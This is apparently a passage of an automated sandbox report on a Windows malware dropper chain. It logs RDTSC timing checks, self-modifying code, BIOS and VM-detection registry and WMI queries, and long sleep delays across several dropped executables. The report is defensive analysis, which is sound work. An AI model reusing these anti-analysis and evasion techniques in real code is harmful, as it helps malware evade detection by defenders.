Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: EFEF70 second address: EFEF77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: EFEF77 second address: EFEF7C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: EFF26C second address: EFF272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: EFF535 second address: EFF578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jmp 00007F8C5451FBC3h 0x0000000a jmp 00007F8C5451FBBFh 0x0000000f pop edx 0x00000010 popad 0x00000011 jl 00007F8C5451FBDDh 0x00000017 jmp 00007F8C5451FBC1h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: EFF6D5 second address: EFF6DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: EFF6DB second address: EFF6DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: EFF6DF second address: EFF6E5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: EFF6E5 second address: EFF708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8C5451FBC9h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: EFF708 second address: EFF70C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: EFF70C second address: EFF716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: EFF716 second address: EFF731 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8C5452242Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: EFF731 second address: EFF735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F0291A second address: F02952 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5452242Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007F8C54522432h 0x0000000f pop ecx 0x00000010 popad 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007F8C5452242Ch 0x0000001d jnl 00007F8C54522426h 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F02952 second address: F02984 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C5451FBBCh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e or dword ptr [ebp+122D2BAFh], edx 0x00000014 lea ebx, dword ptr [ebp+12457704h] 0x0000001a xor di, 3A6Ch 0x0000001f clc 0x00000020 xchg eax, ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jnl 00007F8C5451FBB6h 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F02984 second address: F0298A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F0298A second address: F029A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C5451FBC2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F029E5 second address: F02A48 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C5452242Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jp 00007F8C54522450h 0x00000011 nop 0x00000012 push eax 0x00000013 mov esi, dword ptr [ebp+122D2B9Dh] 0x00000019 pop esi 0x0000001a cld 0x0000001b push 00000000h 0x0000001d jnl 00007F8C5452242Ch 0x00000023 add edx, dword ptr [ebp+122D39A5h] 0x00000029 push 12E09105h 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F02A48 second address: F02A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F02A4C second address: F02ADE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C54522426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 xor dword ptr [esp], 12E09185h 0x00000018 jmp 00007F8C54522436h 0x0000001d push 00000003h 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007F8C54522428h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 sub ecx, dword ptr [ebp+122D2121h] 0x0000003f sbb cx, EDDDh 0x00000044 push 00000000h 0x00000046 call 00007F8C5452242Dh 0x0000004b mov dword ptr [ebp+122D2184h], eax 0x00000051 pop edx 0x00000052 push 00000003h 0x00000054 mov dword ptr [ebp+122D2BAFh], eax 0x0000005a mov dword ptr [ebp+122D2519h], ecx 0x00000060 call 00007F8C54522429h 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 pushad 0x00000069 popad 0x0000006a push eax 0x0000006b pop eax 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F02ADE second address: F02AFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jc 00007F8C5451FBB8h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F02AFC second address: F02B00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F02B00 second address: F02B14 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8C5451FBB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F02B14 second address: F02B3D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C5452242Eh 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8C54522430h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F02B3D second address: F02B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C5451FBC2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F02B53 second address: F02B57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F02C5F second address: F02C65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F02C65 second address: F02CC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522436h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D2D0Eh], ebx 0x00000014 push 00000000h 0x00000016 jmp 00007F8C54522433h 0x0000001b push 9E69CE19h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F8C54522439h 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F02CC1 second address: F02CCF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F213CE second address: F213D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F217C8 second address: F217EA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F8C5451FBCCh 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F21EA2 second address: F21EA8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F21EA8 second address: F21EB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8C5451FBB6h 0x0000000a jc 00007F8C5451FBB6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F21EB8 second address: F21EF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5452242Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8C54522435h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 jmp 00007F8C5452242Fh 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F21EF4 second address: F21F18 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8C5451FBBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8C5451FBC2h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F21F18 second address: F21F1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F22186 second address: F2218F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F16262 second address: F16268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F16268 second address: F1626E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F1626E second address: F16289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F8C54522433h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F22AE2 second address: F22AFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8C5451FBC1h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F22AFD second address: F22B31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a popad 0x0000000b pushad 0x0000000c jno 00007F8C5452242Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F8C54522436h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F22B31 second address: F22B50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC6h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F22B50 second address: F22B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8C54522426h 0x0000000a jmp 00007F8C5452242Eh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F8C54522426h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F22F91 second address: F22F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F22F95 second address: F22F9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F232A6 second address: F232E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jns 00007F8C5451FBB6h 0x0000000e jmp 00007F8C5451FBC4h 0x00000013 popad 0x00000014 jnp 00007F8C5451FBD3h 0x0000001a jmp 00007F8C5451FBC7h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: F232E8 second address: F232F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 553D27 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6F4463 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7824FF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Special instruction interceptor: First address: D7EA6D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Special instruction interceptor: First address: D7EB3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Special instruction interceptor: First address: D7EAA4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Special instruction interceptor: First address: FB45A2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9FEA6D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9FEB3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9FEAA4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C345A2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Special instruction interceptor: First address: 4DA0C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Special instruction interceptor: First address: 5025C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Special instruction interceptor: First address: C93D27 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Special instruction interceptor: First address: E34463 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Special instruction interceptor: First address: EC24FF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Special instruction interceptor: First address: 136A0C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Special instruction interceptor: First address: 13925C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Special instruction interceptor: First address: 11EA6D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Special instruction interceptor: First address: 11EB3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Special instruction interceptor: First address: 11EAA4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Special instruction interceptor: First address: 3545A2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Special instruction interceptor: First address: B7A0C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Special instruction interceptor: First address: BA25C4 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Memory allocated: 4EC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Memory allocated: 5100000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Memory allocated: 4F10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Memory allocated: 4AD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Memory allocated: 4D80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Memory allocated: 4AD0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe

Code function: 3_2_05620813 rdtsc

3_2_05620813

Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe

Code function: 7_2_00DCFB37 sldt word ptr [edx]

7_2_00DCFB37

Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 373	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 8031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Window / User API: threadDelayed 768

Source: C:\Users\user\Desktop\file.exe TID: 1020	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe TID: 7488	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep count: 70 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep time: -140070s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7700	Thread sleep count: 73 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7700	Thread sleep time: -146073s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7668	Thread sleep count: 373 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7668	Thread sleep time: -11190000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7784	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7688	Thread sleep count: 333 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7688	Thread sleep time: -666333s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7704	Thread sleep count: 58 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7704	Thread sleep time: -116058s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7684	Thread sleep count: 8031 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7684	Thread sleep time: -16070031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe TID: 7872	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe TID: 7960	Thread sleep time: -90000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe TID: 7580	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe TID: 7552	Thread sleep time: -78000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe TID: 8040	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe TID: 6208	Thread sleep count: 61 > 30
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe TID: 6208	Thread sleep time: -366000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe TID: 3204	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe TID: 2812	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

